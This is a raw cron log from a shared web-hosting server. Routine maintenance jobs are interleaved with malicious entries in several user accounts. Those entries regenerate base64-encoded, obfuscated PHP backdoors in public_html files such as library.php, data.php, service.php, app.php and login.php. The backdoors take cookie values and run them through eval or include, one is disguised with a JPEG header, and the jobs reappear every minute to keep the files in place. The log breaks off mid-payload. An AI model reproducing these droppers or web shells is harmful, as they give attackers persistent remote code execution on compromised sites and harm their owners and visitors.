Mar  1 17:54:01 medusa CROND[30435]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:54:01 medusa CROND[30436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:54:01 medusa CROND[30437]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:54:01 medusa CROND[30441]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:54:01 medusa CROND[30442]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:54:01 medusa CROND[30443]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:54:01 medusa CROND[30449]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:54:01 medusa CROND[30451]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:54:01 medusa CROND[30452]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:55:02 medusa CROND[23039]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:55:02 medusa CROND[23038]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:55:02 medusa CROND[23040]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:55:02 medusa CROND[23041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:55:02 medusa CROND[23043]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:55:02 medusa CROND[23044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:55:02 medusa CROND[23045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:55:02 medusa CROND[23046]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:55:02 medusa CROND[23047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:55:02 medusa CROND[23049]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:55:02 medusa CROND[23055]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:55:02 medusa CROND[23056]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:55:02 medusa CROND[23053]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:55:02 medusa CROND[23058]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:55:02 medusa CROND[23065]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:55:02 medusa CROND[23066]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:55:02 medusa CROND[23069]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:55:02 medusa CROND[23072]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:55:02 medusa CROND[23077]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:55:02 medusa CROND[23080]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:55:02 medusa CROND[23064]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:55:02 medusa CROND[23079]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:56:02 medusa CROND[15479]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:56:02 medusa CROND[15480]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:56:02 medusa CROND[15481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:56:02 medusa CROND[15482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:56:02 medusa CROND[15484]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF